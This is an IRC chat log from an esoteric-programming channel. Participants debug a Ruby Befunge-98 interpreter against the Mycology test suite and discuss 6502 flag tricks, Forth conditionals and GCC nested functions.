08:45:45 <fizzie> The bitwise operations don't, that is correct.
08:46:23 <b_jonas> hmm no, ROL is no good, it takes way more time than ADC
08:46:34 <b_jonas> (slow shifts. sounds like the 386.)
08:46:52 <fizzie> All those do involve wasting the value that was in a after you computed whatever it was to get that first carry flag, though.
08:47:08 <fizzie> (The php-pla-and #1 sequence doesn't.)
08:47:29 <b_jonas> oh, you mean you want to keep the carry flag and store it?
08:47:52 <fizzie> Not the carry flag, the value in A, for further use.
08:48:07 <fizzie> The "php" just stores it sneakily, and then you can continue on with whatever.
08:49:32 <fizzie> And "pla; and #1" is clearly shorter than something like "plp; lda #0; adc #0" that you'd have to do to if the carry flag wasn't bit 0.
08:49:42 <fizzie> Disclaimer: I'm not the one making the claim it's a useful property.
08:50:21 <b_jonas> I thought you'd do the first addition, store the accumulator, then do the LDA #0; ADC #0; to get the carry flag, save it, but I guess what you're saying could make sense sometimes
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08:51:39 <fizzie> I guess it avoids one instance of "store the accumulator, then restore when the carry flag is safe".
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09:29:07 <Sgeo> http://blog.dota2.com/wp-includes/js/jquery/jquery.js
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10:39:39 <TieSoul> I can't figure out why Mycology says my } isn't working.
10:40:40 <TieSoul> here's the code for it: http://bpaste.net/show/rHfjWmCOwBCIh3eY7NGi/
10:40:55 <TieSoul> I've also tested it and it seems to be working correctly.
10:41:33 <TieSoul> it says it doesn't transfer correctly
10:42:55 <TieSoul> I think my code for if n > ip.stackstack[-1].length is wrong.
10:43:52 <fizzie> Yes, I was about to say so. It seems to prepend 0s to the SOSS itself, not the copied block.
10:45:44 <TieSoul> so after fixing this Mycology still says it transfers incorrectly.
10:46:08 <fizzie> Also not sure about the number of 0s. If n is 5 and ip.stackstack[-1].length is 3, (n-ip.stackstack[-1].length-1) = (5-3-1) = 1 zero, not two.
10:48:01 <TieSoul> there are no BADs before that btw
10:49:31 <TieSoul> oh also I found a minor Mycology bug, it has three dots that are supposed to be in stringmode but aren't.
10:50:31 <TieSoul> in a corrupt stackstack error
10:55:27 <fizzie> @tell Deewiant mycology.b98, line 72, columns 128..148 (1-based): "upt stack stack"...a should presumably have the ... inside string mode.
10:55:32 <fizzie> Best to report these things.
10:56:56 <TieSoul> alright, so do you know what could cause that BAD? I think my } code works correctly now.
10:57:42 <fizzie> I didn't catch anything in the code. Of course, I didn't see the new one. (Which BAD message it was, exactly?)
10:58:04 <Deewiant> Is there an @clear-messages or something
10:58:09 <TieSoul> BAD: } transfers cells incorrectly
10:58:23 <TieSoul> Stopping due to fear of corrupt stack stack...
10:59:26 <Deewiant> fizzie: Fixed as of Thu Nov 1 13:44:46 2012 +0200
10:59:41 <fizzie> Is my version that old?
10:59:54 <fizzie> I just went with what I had unzipped in ~/tmp/mycology/ in ages past.
10:59:55 <TieSoul> new code here http://bpaste.net/show/N1asth8vqyMpcvvZ8SP3/
11:00:09 <TieSoul> What? I just redownloaded Mycology and it had that in
11:00:13 <fizzie> (Also the command is exactly @clear-messages.)
11:00:37 <fizzie> "The latest version, 2010–04–01".
11:00:43 <Deewiant> It's possibly I haven't made a newer release
11:02:41 <Deewiant> http://sprunge.us/iGNa anyway that's what you're missing so it's not a big deal
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11:09:29 <fizzie> !befunge98 9876543215{$$$$$$542}......@
11:09:55 <fizzie> TieSoul: You get the same output from the above? It's the simplified version of what mycology tests, though it also does the storage offset tests that complicate things.
11:10:20 <fizzie> (And all those $s are actually w's testing the {.)
11:10:31 <TieSoul> No I don't, I get 4 5 5 6 7 8 for some reason
11:10:58 <fizzie> Curious. Well, that's a lot simpler test case, at least.
11:11:04 <TieSoul> http://bpaste.net/show/4rf9GJaJDTOBCpZfPtBX/
11:11:12 <TieSoul> here is the debug mode output for that program
11:11:58 <fizzie> Hrm, that 5 is left in both the TOSS and SOSS.
11:12:21 <fizzie> "Stack: [5, 4, 3, 2, 1]" "SOSS: [9, 8, 7, 6, 5, 0, 0]" around line 115.
11:12:31 <fizzie> Perhaps double-check your {, then.
11:14:18 <fizzie> Mycology seems to be kind of testing both the { and the } simultaneously there, in that it looks for 4 5 6 7 8 9 where the "4 5" is transferred with 2} and the "6 7 8 9" should be left behind by the earlier 5{.
11:15:33 <TieSoul> ip.stackstack[-2] = ip.stackstack[-2][0..-n] is where the error lies
11:15:45 <TieSoul> changing that to ip.stackstack[-2] = ip.stackstack[-2][0..-n-1] should fix the error
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11:37:15 <fizzie> I wouldn't mind if there was something simpler than {0{2un02-u0} or some-such to do "{ except no storage offset change". (The quoted bit is not even really that; that would be something uglier like fyey0{2u\0{2u0} for 0{ or even worse for a non-zero argument of {.)
11:37:55 <fizzie> (Assuming I could make myself to use the stack stack in the first place, that is.)
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11:52:25 <fizzie> Aw, there's a Famous Guy giving a talk on the current state-of-the-art in speech synthesis, and I'm going to miss it. :/
11:52:26 <Deewiant> I found { useful in some of the fingerprint tests in mycology, possibly just because the y coordinate was getting tediously big
11:54:14 <ais523_> ooh, I had a great idea for representing fungespace in an interpreter
11:54:19 <ais523_> map fungespace to your address space
11:54:39 <ais523_> then whenever you want to access a particular area of space, you mmap an allocation over it if the memory's currently unaddressable
11:54:45 <fizzie> That sounds vaguely familiar.
11:54:55 <ais523_> would probably require reducing the size of an int to, say, 24
11:55:21 <fizzie> Possibly even less than that, since there's only 47 bits of userland address space on Typical Systems.
11:55:52 <fizzie> (And perhaps you'd want to use some of it for, say, the program.)
11:58:09 <ais523_> oh, I was assuming the entire 64-bit address space could be logical addresses, if not physical
11:58:20 <ais523_> if you don't even get logical access to most of it, that makes things worse
11:58:27 <fizzie> Sadly, no. The 48-bit canonical address restriction applies to virtual addresses.
11:58:44 <fizzie> Otherwise it wouldn't save in the number of page table hierarchy levels you'd need.
11:58:59 <fizzie> (And address translation hardware and whatnot.)
11:59:05 <TieSoul> what is this team number thing btw?
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12:00:31 <ais523_> I disagree, I am closed to convinced that ccbi and cfunge are on different teams
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12:00:54 <fizzie> While it's not quite kosher spec-wise, I'm sure a reasonable number of actual programs would run even in systems where the (potential) funge-space dimensions don't match the cell size.
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12:01:22 <fizzie> (Also if you just mask out higher bits, you get an interesting space where the contents are duplicated in a grid-like thing.)
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12:01:45 <fizzie> Analogous to having ROM pages visible at several addresses or whatnot.
12:02:03 <ais523_> that /would/ break many programs, if a lahey-line happened to hit one of the copies
12:02:14 <TieSoul> I think I'll call my interpreter RubyFunge
12:02:22 <TieSoul> then I can have the handprint RUFU
12:02:39 <Deewiant> Your handprint doesn't have to match your interpreter's name
12:03:47 <fizzie> ais523_: Possibly not as much for non-flying deltas.
12:03:51 <TieSoul> how do you convert it again?
12:04:02 <ais523_> fizzie: was trying to work that out
12:04:15 <ais523_> orthogonals would be OK, but even diagonals would be bad
12:04:23 <fizzie> !perl print unpack('N', 'RUFU');
12:05:17 <TieSoul> what should I push as cell size? Ruby automatically uses bignums on overflow.
12:05:20 <fizzie> There are no x's in fungot either, I'm (again) "proud" to say.
12:05:20 <fungot> fizzie: you can always make a subclass called fnord and writes img fnord" in the list. i guess
12:05:38 <fizzie> Perhaps I shouldn't be so terribly proud of being unable to leverage the language features.
12:05:55 <Deewiant> -1 and 0 have been the two typically used with bignums, IIRC
12:06:06 <ais523_> is the fungespace also bignum?
12:06:22 <ais523_> -1 seems like the best option, though, it's infinity in one's complement
12:06:30 <ais523_> I guess 0 is infinity in two's complement
12:06:58 <Deewiant> fizzie: There should be a program that starts with a diagonal x and uses only ] and [ to change delta from then on
12:07:27 <fizzie> fungot: How would you feel like being tilted 45 degrees?
12:07:27 <fungot> fizzie: i laughed out load at pikhq's last-but-one sentence in which you evaluate the whole thing from the outside?
12:08:18 <ais523_> now I'm wondering what pikhq's last-but-one sentence is
12:08:25 <ais523_> but without the logs in HackEgo, it's hard to tell
12:09:34 <Deewiant> On this channel, I believe it's 2014-07-20 03:15:13+0300 pikhq As it only uses lines that are on the cartridge port, you could just have a weird cartridge with a parallel port on it.
12:09:35 <fizzie> ais523_: It was in fact you doing the laughing, so you ought to remember.
12:09:57 <ais523_> fizzie: not sure if I remember everything I've laughed at in the past
12:09:57 <fizzie> ais523_: You also got a funny look from the person sitting next to you.
12:10:27 <ais523_> also I've got in trouble for laughing too much at #esoteric before now
12:10:54 <fizzie> Helpful log fairy: http://sprunge.us/VdiZ
12:11:31 <TieSoul> "As it only uses lines that are on the cartridge port, you could just have a weird cartridge with a parallel port on it."
12:11:41 <TieSoul> oh well someone already got it
12:12:11 <ais523_> fizzie: well, the line in question made me laugh /again/
12:13:28 <ais523_> I guess what you could do instead
12:13:35 <ais523_> would be for if(x); to set a global flag
12:13:41 <ais523_> then(y); to run y if the flag was true
12:13:47 <ais523_> else(z); to run z if the flag was false
12:13:51 <ais523_> doesn't FORTH do something like that?
12:16:06 <ais523_> the sane option is of course if_else(x,y,z);
12:19:01 <fizzie> FORTH syntax is <condition> IF <true-branch> ELSE <false-branch> THEN
12:19:35 <ais523_> this is the point where someone explains it to me again because I know it's for a good reason but I can't remember what it is
12:20:17 <fizzie> And it's all just jumps. The IF word pops a value, and jumps past the matching ELSE/THEN word if it was false, otherwise proceeds.
12:20:41 <ais523_> ah right, I did some searching of my own
12:20:50 <ais523_> and it's written the way it is because the else is optional
12:21:09 <fizzie> <condition> IF <true-branch> THEN is also just fine.
12:21:20 <fizzie> gforth (IIRC) provides a (recommended?) alias of "ENDIF" for "THEN".
12:21:58 <fizzie> Which makes it a IF b ENDIF or a IF b ELSE c ENDIF depending on if an else is present.
12:22:55 <fizzie> Must be recommended, since the non-reference section of the manual on selection statements -- https://www.complang.tuwien.ac.at/forth/gforth/Docs-html/Selection.html -- only mentions the ENDIF.
12:22:57 <ais523_> this page also suggests that it's idiomatic to use + for boolean-or, and AND for boolean-and
12:23:08 <fizzie> Oh, it's there, I just missed it.
12:23:15 <ais523_> oh, I guess this is because true is -1
12:23:21 <fizzie> "You can use THEN instead of ENDIF. Indeed, THEN is standard, and ENDIF is not, although it is quite popular. We recommend using ENDIF, because it is less confusing for people who also know other languages (and is not prone to reinforcing negative prejudices against Forth in these people)."
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12:23:52 <ais523_> so you need at least one of AND and OR in order to get working logicals
12:24:15 <ais523_> but you don't need both because you can get the other one via arithmetic
12:24:26 <ais523_> I guess there's also the chance of integer overflow if you use both + and * on booleans
12:24:42 <ais523_> and because addition is cheaper than multiplication, I guess you use + and AND
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12:33:53 <TieSoul> huh? Mycology says z takes 0 ticks when it doesn't and 5kz takes more than 3 ticks when it takes exactly 3.
12:35:56 <Deewiant> It's testing that multiple IPs are properly in sync, any number of things could be wrong
12:36:00 <fizzie> !forth true 64 0 [?do] dup + [loop] . true 64 0 [?do] dup or [loop] .
12:36:13 <fizzie> ais523_: ^ it's still a bit of a problem.
12:36:39 <ais523_> I need to get better at Forth, really
12:36:55 <ais523_> one idea I've had is a completely from-the-metal compiler stack where everything that happens can easily be manually inspected
12:36:58 <ais523_> using minimal compilers, etc.
12:37:35 <ais523_> I was planning to start with 6502 machine code because it's a) reasonably legible, b) there are /tons/ of emulators, c) the bare metal is not impossible to find, d) it's old enough that it's unlikely to have a strong AI in it rewriting any programs that run to include backdoors
12:38:01 <ais523_> actually, we can probably assume that there's a certain filesize below which strong AI is impossible, that would make things easier
12:42:44 <ais523_> that may be too small to do other, useful, non-strong-AI things, though
12:48:26 <TieSoul> woo, I made it through Mycology with only a few BADs :D
12:48:51 <TieSoul> http://bpaste.net/show/Te5ks6DC5LQiEgfBvyYU/
12:49:57 <TieSoul> oh btw you can see my environment variables because I forgot to snip lol
12:52:11 <TieSoul> well then, now my Ruby implementation is better than my Python one was :P
12:53:30 <Deewiant> TieSoul: FWIW I've planned to make that topmost UNDEF a BAD, just haven't got around to it
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12:56:45 <Deewiant> Those 0 outputs from BASE also seem questionable
12:57:32 <TieSoul> I set it to output 0 if it encounters an ArgumentError
12:58:06 <Deewiant> Reflection would make more sense
12:58:54 <ais523_> hmm, I've had an idea for a Mycology test
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12:59:08 <ais523_> get the int size from y; place " signs at opposite ends of the playfield
12:59:15 <ais523_> then see how many spaces the resulting string contains
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12:59:39 <Deewiant> Not portable due to bignum interpreters
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12:59:54 <Deewiant> There's already UNDEF: the empty string wrapped around the edge of space contains 1 character(s) (hopefully spaces)
12:59:59 <ais523_> you could UNDEF it on those
13:00:02 <ais523_> yeah, that UNDEF is what inspired me
13:00:08 <ais523_> it might be different if you hit the edge of the playfield
13:01:10 <TieSoul> I made it actually output unary (00000...) and reflect on all other unrecognized bases now.
13:02:43 <TieSoul> see http://bpaste.net/show/cANhkUMEU3eQTolZXhbj/
13:03:33 <ais523_> hmm, perhaps Befunge2K would work better if all instructions had a random chance of reflecting, rather than if all instructions had a random chance of doing nothing
13:03:44 <ais523_> because in the latter version, ; was still 100% reliable
13:03:59 <Deewiant> In the former version, r is still 100% reliable ;-)
13:04:36 <ais523_> yeah, but that's what you'd expect from the semantics
13:04:39 <ais523_> rather than being a special case
13:04:58 <ais523_> it's an interesting thought experiment, though, trying to write 100% reliable Funge-98 programs if the instructions themselves are unreliable
13:05:12 <ais523_> because I vaguely liked the concept of Java2K, but the implementation is awful
13:05:19 <ais523_> so I wanted to make a better language
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13:05:59 <Deewiant> Note that ; is a marker instead of an instruction, like space
13:06:30 <TieSoul> RubyFunge is so much faster than my Python implementation :P
13:06:57 <ais523_> Deewiant: yes, that's why I felt OK special-casing it
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13:08:33 <ais523_> !c int foo(void){}; int main(void){if(0) {asm volatile("comefrom foo"); puts("test");} foo(); return 0;}
13:09:03 <ais523_> does it normally do that on invalid programs? I forgot the colons
13:09:13 <ais523_> !c int foo(void){}; int main(void){if(0) {asm volatile("comefrom foo" : : ); puts("test");} foo(); puts("bar"); return 0;}
13:09:57 <ais523_> !c int main(void){puts("Hello, world!"); return 0;}
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13:10:23 <ais523_> ah right, I guess I redefined main inside main, then didn't run it
13:10:41 <ais523_> !c int foo(void){}; if(0) {asm volatile("comefrom foo" : : ); puts("test");} foo(); puts("bar"); return 0;
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13:15:42 <ais523_> !c int main(void) {puts("test");} main();
13:16:06 <ais523_> !c int main(void) {int main(void) {puts("another test");} puts("test"); main();} main();
13:16:19 <ais523_> this seems useful for the IOCCC, even though it isn't standard
13:17:53 <fizzie> There's an automatic main wrapper in !c? Didn't remember that.
13:18:39 <fizzie> Also didn't know that GCC nested functions can have the same name as the containing function, though in retrospect it's reasonable enough, since variables can, too.
13:21:07 <ais523_> fizzie: I didn't think there was either, but that should be conclusive proof
13:21:43 <ais523_> anyway, there was some debate over whether compilers should be required to optimise out asm statements in untaken conditionals
13:21:55 <TieSoul> when Mycology loads ROMA then MODU it says M reflects, but when I try it in a test program it works fine.
13:21:59 <ais523_> whatever compiler EgoBot's using (presumably gcc) seems to, at least, even with asm volatile
13:22:36 <ais523_> it shouldn't be optimizing out my comefrom statement :-(
13:25:10 <TieSoul> "AMOR"4("UDOM"4(#@M.@ outputs 0 in my implementation but Mycology says M reflects in this case.
13:26:30 <ais523_> !funge98 "AMOR"4("UDOM"4(#@M.@
13:26:42 <TieSoul> !befunge98 "AMOR"4("UDOM"4(#@M.@
13:27:32 <TieSoul> !befunge98 "AMOR"4("UDOM"4(#@\M.@
13:27:52 <TieSoul> this also outputs 1 in my interpreter
13:29:10 <TieSoul> !befunge98 "AMOR"4("UDOM"4(#@\M."UDOM"4)#@M."AMOR"4)#@M.@
13:29:50 <TieSoul> also does this in RubyFunge
13:31:02 <Deewiant> !befunge98 "AMOR"4("UDOM"4(n#@M.@
13:31:21 <Deewiant> Perhaps that makes a difference?
13:32:04 <TieSoul> yup, that seems to reflect
13:32:31 <TieSoul> I accidentally made it reflect if a == 0
13:34:49 <TieSoul> I like how you unload ROMA and then M has ROMA semantics :P
13:36:30 <Deewiant> That was an important test for some interpreter IIRC, likely RC/Funge-98
13:39:09 <TieSoul> http://bpaste.net/show/aUqZJFMrDzTbpc8jIduD/
13:42:48 <TieSoul> When MODE is unloaded, should hover/invert/switch/queuemode be disabled?
13:43:09 <TieSoul> and should other IPs inherit those modes in concurrent Funge?
13:44:15 <ais523_> Deewiant: why are you looking for unloaded commands on the playfield?
13:44:26 <Deewiant> ais523_: That's output from his interpreter
13:44:32 <Deewiant> TieSoul: Somewhat UNDEF, though I'd suggest no and yes respectively
13:44:50 <TieSoul> going to change it to that too
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14:59:14 <HackEgo> [wiki] [[BytePusher]] http://esolangs.org/w/index.php?diff=40268&oldid=40227 * Nucular * (+108) New VM implementation
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15:42:41 <TieSoul> http://www.reddit.com/r/counting/ < this has got to be the best place on the internet.
15:43:16 <elliott> I find that unlikely for a place starting with reddit.com
15:43:39 <elliott> okay this is pretty terrifying
15:44:44 <elliott> http://www.reddit.com/r/counting/comments/2bj5fg/live_counting/ ...
15:44:46 <Bike> this is a good subreddit
15:44:58 <Bike> We reached 10k today (Congratulations to /u/KingCaspianX for the get).
15:45:05 <elliott> I think these people have even emptier lives than I do.
15:54:38 <TieSoul> Not in the normal counting threads
16:17:21 <quintopia> oshit a NEW implementation of bytepusher?
16:18:36 <quintopia> well JsBP works but the audio is terrible :/
16:25:38 <elliott> Phantom_Hoover: killed howso?
16:27:05 <Phantom_Hoover> they changed the archiving logic, now you can't reply to a comment if the original submission's over 6 months old
17:00:02 <zzo38> I have now read the replies to my message about the carry flag in bit0. I can tell you that using shift/rotate instructions on the accumulator is not slow; it is slow if operating on memory.
17:01:19 <zzo38> Also, in MagicKit, the < prefix means zero-page operation.
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17:07:08 <Phantom_Hoover> TieSoul, google 'epic thread reddit', that should help
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17:31:35 <HackEgo> [wiki] [[Stapler]] N http://esolangs.org/w/index.php?oldid=40269 * Mobac * (+2699) Created page with "'' 'Staple' '' - [[esoteric programming language]], created in 2011 [http://speccy.info/Kakos_nonos Alexander Zavgorodny]. On the official website there is documentation on ..."
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20:25:33 * impomatic_ is trying to archive a website which will disappear soon and is getting rather annoyed.
20:26:50 <impomatic_> It's in Polish and the text looks slightly different to the original when viewed on archive.org
20:27:33 <impomatic_> Some characters change, e.g. "Podstaw" -> "Podstaw?"
20:28:39 <elliott> sounds like an encoding issue
20:32:04 <impomatic_> That question mark displays as an a-ogonek here.
20:32:43 * impomatic_ wonders if the browser sometimes picks a charset depending on the TLD.
20:33:23 <zzo38> Regardless, if the header (or META, for HTML documents) specifies a charset it should use that one instead if possible.
20:34:04 <elliott> you can probably adjust the charset used in your browser's menus
20:36:49 <impomatic_> The header specifies Windows-1250 so I don't understand why it displays differently. I'll convert it to UTF-8 when I figure which is correct...
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22:00:11 <oerjan> @tell Deewiant <Deewiant> Is there an @clear-messages or something <-- yes.
22:00:31 <lambdabot> Maybe you meant: clear-auto-reply clear-messages clear-topic pl
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22:17:17 <Melvar> shachaf, oerjan, Bike: I have found out about U+EF01 in DejaVu Sans, namely that it and the surrounding glyphs are pieces to compose tone contours with. This particular one appears to be the high-to-extrahigh element used for the sequence ˦˥ , which compare with .
22:19:53 <oerjan> i'll like point out i cannot read most of your other characters either
22:25:01 <HackEgo> [U+02E6 MODIFIER LETTER HIGH TONE BAR] [U+02E5 MODIFIER LETTER EXTRA-HIGH TONE BAR]
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23:34:31 * oerjan made a comment on the sillies /r/counting thread he found
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01:09:14 <oerjan> > let repl1 x n = x:replicate (n-1) x in fix $ concat . zipWith repl1 (cycle [1,2])
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02:03:17 <Sgeo> So, I'm being asked to interview someone soon
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02:03:32 <Sgeo> I'm trying to think of questions, but I wonder if they're too ... trivia-ish...
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03:03:55 <Sgeo> web developer, mostly just helping with bugfixes
03:05:55 <quintopia> then the obvious thing to do is give them a piece of buggy code
03:06:39 <quintopia> see if they can identify the bugs from the listing and write up a fix for them
03:09:38 <Sgeo> Haven't heard of yahoo foo.js before
03:09:52 <Sgeo> And Google isn't helpful
03:10:34 <Sgeo> We could use actual bugs we've fixed I guess, if we have simple ones
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07:13:09 <Sgeo> If I ever again doubt why pure profunctor lenses are better in a strict environment than van Laarhoven lenses, remind me that the pure profunctor lenses may automatically be giving me apporpriate laziness
07:13:28 <shachaf> Pure profunctor lenses are the best.
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12:21:49 <fizzie> Random trivia fact: in the Finnish translation of William Gibson's Neuromancer, the "Turing cops" (who watch over AIs) are translated as "Torinon kytät", lit. "the cops of Torino", after the Italian name of http://en.wikipedia.org/wiki/Turin
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12:42:18 <fizzie> For the longest time, I thought they just happened to have their HQ in Turin or something.
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13:15:02 <Taneb> fizzie, what's a fun research paper that everyone should read?
13:15:14 <fizzie> I assume you've read the Shannon one?
13:15:32 <Taneb> If I have I don't know it by that name
13:15:40 <fizzie> A Mathematical Theory of Communication.
13:15:53 <Taneb> I don't think I have
13:16:10 <fizzie> http://www3.alcatel-lucent.com/bstj/vol27-1948/articles/bstj27-3-379.pdf
13:16:14 <fizzie> It's famous, at least.
13:16:42 <fizzie> And influential. The "fun" aspect might be debatable.
13:17:06 <fizzie> There's a bit of fungot-speak in it, that's fun.
13:17:07 <fungot> fizzie: or is it more to my taste than cl does some similar kind of cases
13:20:56 <fizzie> It tends to pop up on those "important papers in CS and related fields" lists, along with the Turing one.
13:23:33 <Taneb> I ask because I have printer credit to use up
13:24:28 <fizzie> I know something about the classics (and good recent reviews) of speech stuff (and maybe some machine learning staples), but I don't think any of those really fall into "everyone should read" category.
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13:24:55 <Taneb> How about "might be interesting to Taneb" category
13:25:03 <fizzie> I don't know what you're interested in.
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13:25:31 <Taneb> Well, neither do I, for the most part
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13:27:12 <fizzie> Individual famous algorithms can be a fun read, perhaps. There's any number to choose from.
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13:28:54 <fizzie> http://en.wikipedia.org/wiki/List_of_important_publications_in_theoretical_computer_science has quite a few things that sound plausible.
13:29:05 <fizzie> (And it's not such a terribly long list.)
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14:03:18 <TieSoul> I'm making a little Mycology-like test suite for some fingerprints that aren't in Mycology :P
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14:57:35 <TieSoul> This is what I've got so far: http://bpaste.net/show/bwcFMj6vcyhvMyhwstWq/
14:58:24 <TieSoul> oops, it still doesn't work right
14:59:23 <TieSoul> http://bpaste.net/show/iGTKPBIvpWpjPsrzsx4h/ think I fixed it
15:00:49 <TieSoul> http://bpaste.net/show/6ASOe0ccG6ok8kuaxI52/ this one is fixed
15:01:28 <TieSoul> though it doesn't work if you don't have IMTH
15:03:14 <TieSoul> http://bpaste.net/show/KoCfMK1c8GKPkGnBxnPo/ this one should work if you don't have IMTH :P
15:03:31 <TieSoul> sorry for posting so much I just failed making Befunge code and wanted to rectify it :P
15:04:28 <TieSoul> http://bpaste.net/show/onmp6DNdhWnzHzRdwlCj/ I found ANOTHER failure in the code and fixed it. This one should work. :P
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15:10:44 <TieSoul> nope, it goes into an infinite loop of saying " Not l " if you don't have it :S
15:11:52 <TieSoul> ... I don't see why it would do that.
15:12:22 <TieSoul> oh whoops I had the old version saved
15:14:05 <TieSoul> I like how bpaste has befunge syntax highlighting.
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16:12:54 <HackEgo> [wiki] [[User talk:Rdebath]] http://esolangs.org/w/index.php?diff=40270&oldid=40260 * Oerjan * (+199) plainly so
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17:46:54 <TieSoul> http://bpaste.net/show/lE84Cd59n8pIc7HLS79o/ I added a whole lot of fingerprints to RubyFunge.
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18:04:47 <TieSoul> also http://users.tkk.fi/~mniemenm/befunge/mycology-output/fp-fixp/Language-Befunge.txt made me laugh.
18:09:04 <fizzie> my $a = $ip->spop / PRECISION; $ip->spush( int ( rad2deg( asin_real($a) ) * PRECISION ) );
18:10:13 <fizzie> Math::Trig, asin_real: "Return a real-valued arcus sine if the input is between [-1, 1], inclusive the endpoints. For inputs greater than one, pi/2 is returned. For inputs less than minus one, -pi/2 is returned."
18:10:17 <fizzie> They've just inherited that.
18:12:54 <Bike> arcus sine, huh
18:14:39 <fizzie> It's called "arkussini" in Finnish.
18:21:15 <Melvar> “Arcussinus” in German.
18:21:40 <Bike> also a synonym for a sneeze, i assume
18:30:49 <b_jonas> Phantom__Hoover: no, it's arcsine
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18:32:56 <Bike> Phantom__Hoover: i've nevre seen arcosine
18:46:41 <HackEgo> [wiki] [[Befunge]] http://esolangs.org/w/index.php?diff=40271&oldid=40243 * Madflame991 * (+604) /* Compilation */ Added info on the Befunjit compiler
18:51:03 <fizzie> Yes, but it sounds like a pirate thing.
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19:03:26 <TieSoul> I'm so happy that I've made a Befunge interpreter that gets all the way through Mycology :D
19:04:31 <fizzie> Now you just have to remove all the BADs, then you can be twice as happy.
19:04:51 <TieSoul> And add some of the more tricky fingerprints
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21:00:04 <zzo38> I am still writing some Z-machine compiler.
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21:06:41 <b_jonas> zzo38: compiler to z-machine or from z-machine?
21:15:02 <J_Arcane> zzo38: Fun! I'm on the design stages of an 8-bit stack machine.
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21:18:50 <zzo38> b_jonas: Into Z-machine
21:19:13 <zzo38> Z-machine is not very good for compiling *from*, as it isn't a Restricted Harvard machine.
21:19:47 <zzo38> This compiler is only compiling for ZIP, not EZIP or XZIP; I plan to then make another one which targets XZIP.
21:21:27 <zzo38> However, OASYS binaries use a Restricted Harvard format so you can compile from them easily enough as you can compile into them.
21:24:36 <zzo38> Here are some example codes accepted by this compiler: [DEFINE TANDY? [ [BTST [GETB 0 1] 8] ]] [DEFINE STATUS-LINE? [ [NOT [BTST [GETB 0 1] 16]] ] [DEFINE PRINTER-ON [ [PUT 0 8 [BOR [GET 0 8] 1]] ] [DEFINE ZORKID [ [ASSIGN 0 1 #] ]] [DEFINE ZERO? [ [CUSTOM-VALUE 128 2 #$] ]] and so on
21:24:54 <zzo38> (All of this is part of the standard library, so you don't need to type them in yourself.)
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21:28:34 <zzo38> Do you think this is good or problem or what?
21:28:41 <zzo38> J_Arcane: OK let's see, what did you make up so far?
21:32:34 <J_Arcane> zzo38: Basically just the instruction list and some very basic ideas about the architecture. I'll start actually putting it to code tomorrow.
21:36:29 <zzo38> OK. What idea did you have?
21:36:45 <J_Arcane> Here's the gist: https://docs.google.com/file/d/0B3hWDeEiNI5abERGUkJPNXFfZzg/edit
21:37:05 <zzo38> Do you have one that isn't Google Docs? Do you have it in HTML or text?
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22:15:56 <zzo38> Do you have description of some of the instructions?
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22:25:01 <J_Arcane> zzo38: Not yet. Need to extend my notes to a proper documentation. Most of it's pretty much as you'd expect, save for some of the more arcane abbreviations (PuFA - "Push From Address", PoTA "Pop To Adress", JIF "Jump IF", and the IOPush/Pop sets (TRM = terminal, TAP = tape)
22:25:29 <J_Arcane> I'll do a full LyX doc for it soon.
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23:17:42 <zzo38> J_Arcane: Actually I guessed what those stood for. Now I know my guess is correct. It still doesn't explain some of them very much, though.
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00:16:49 <quintopia> http://phys.org/news/2014-08-language-accommodates-multiple-languages.html
00:17:08 <quintopia> the ultimate polyglot. these people are true esolangers.
00:27:09 <Sgeo> composable languages?
00:27:21 <Sgeo> This related to what Racket fails utterly horribly at?
00:27:47 <Sgeo> Well, I guess you can compose languages that are designed to be composed in Racket
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00:58:23 <quintopia> Sgeo: it did make a reference to previous attempts failing
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03:29:46 <zzo38> I have made this 6502 variant: http://zzo38computer.org/misc/more_misc/opcode6502.htm
03:30:01 <zzo38> Only the document is given there; there is not the implementation.
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04:16:35 <nooodl> zzo38: a four-letter 6502 mnemonic?!
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05:26:47 <zzo38> No, they are supposed to be only three letters long.
05:27:17 <zzo38> However the signal names can be different length than such things.
06:01:38 <zzo38> I have filled in all 256 instruction opcodes, with no duplicates.
06:06:32 <b_jonas> zzo38: uh, I don't understand that 6502 variant. is there some explanation somewhere?
06:09:55 <zzo38> It is all written on there, I think, isn't it?
06:10:43 <zzo38> The instructions marked in green are ordinary 6502 instructions. The ones in red are unofficial instructions, which are official in this variant.
06:11:08 <b_jonas> so the AMP changes the address mode from the first address mode listed to the second address mode in the list at the top, right?
06:11:10 <zzo38> Blue indicate new instructions (some have similar functions as already existing ones, so they have the same name).
06:11:33 <b_jonas> and the W and Q are extra index registers, but there seems to be no instructions to directly store them
06:13:07 <b_jonas> are there NOP instructions with one or two bytes of arbitrary arguments (possibly with a memory load as a side effect)? 6502 has those as unofficial instructions and I think those can be useful in self-modifying code, and you will do self-modifying code in 6502 anyway
06:13:09 <zzo38> They are extra registers with a few uses, but there are several limitations
06:13:35 <zzo38> b_jonas: Yes; they are called IGN here.
06:13:47 <b_jonas> oh! I was searching for NOP
06:14:38 <zzo38> (The effect is the same as you describe, though.)
06:15:42 <b_jonas> and there's an addresss mode like ($00),IP++
06:15:49 <b_jonas> that sounds quite complicated
06:16:39 <b_jonas> it reads a two-byte address from zero-page and a two byte address from the IP register, and adds them, to get an address, and increments the two-byte IP?
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08:19:51 <FireFly> What would that be useful for?
08:20:07 <FireFly> ("that" being the "($00),IP++" address mode)
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10:17:23 <fizzie> Aw, Google doesn't do time zone conversions for queries of the form "X TZ1 in TZ2".
10:17:27 <fizzie> Like it does for units and such.
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13:48:01 <HackEgo> [wiki] [[Special:Log/newusers]] create * HarryCuningham * New user account
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14:08:56 <HackEgo> [wiki] [[Special:Log/newusers]] create * JPeroutek * New user account
14:09:46 <HackEgo> [wiki] [[List of ideas]] M http://esolangs.org/w/index.php?diff=40273&oldid=40185 * JPeroutek * (+0) Corrected a minor misspelling.
14:11:56 <fizzie> It is good to see people willing to register user accounts for fixing typos.
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14:43:48 <elliott> you don't have to, do you...?
15:09:32 <fizzie> Not that I know of, no.
15:09:54 <fizzie> But I guess then you're just a lower-class IP address person.
15:09:57 <fizzie> Peer pressure and all that.
15:11:50 <HackEgo> [wiki] [[User:Fizzie]] http://esolangs.org/w/index.php?diff=40274&oldid=39225 * 80.220.227.141 * (+38) I edit anonymously and I VOTE
15:12:18 <fizzie> No, you don't have to.
15:26:16 <HackEgo> [wiki] [[User:Fizzie]] http://esolangs.org/w/index.php?diff=40275&oldid=40274 * 0:0:0:0:0:0:0:1 * (-38) How about this then?
15:26:40 <fizzie> The VPS doesn't have an IPv6 address, I had to make some sacrifices.
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16:09:25 <elliott> fizzie: you need letters to see MW's freaky uppercase ipv6 addresses.
16:14:57 <oerjan> the ips of the upper class
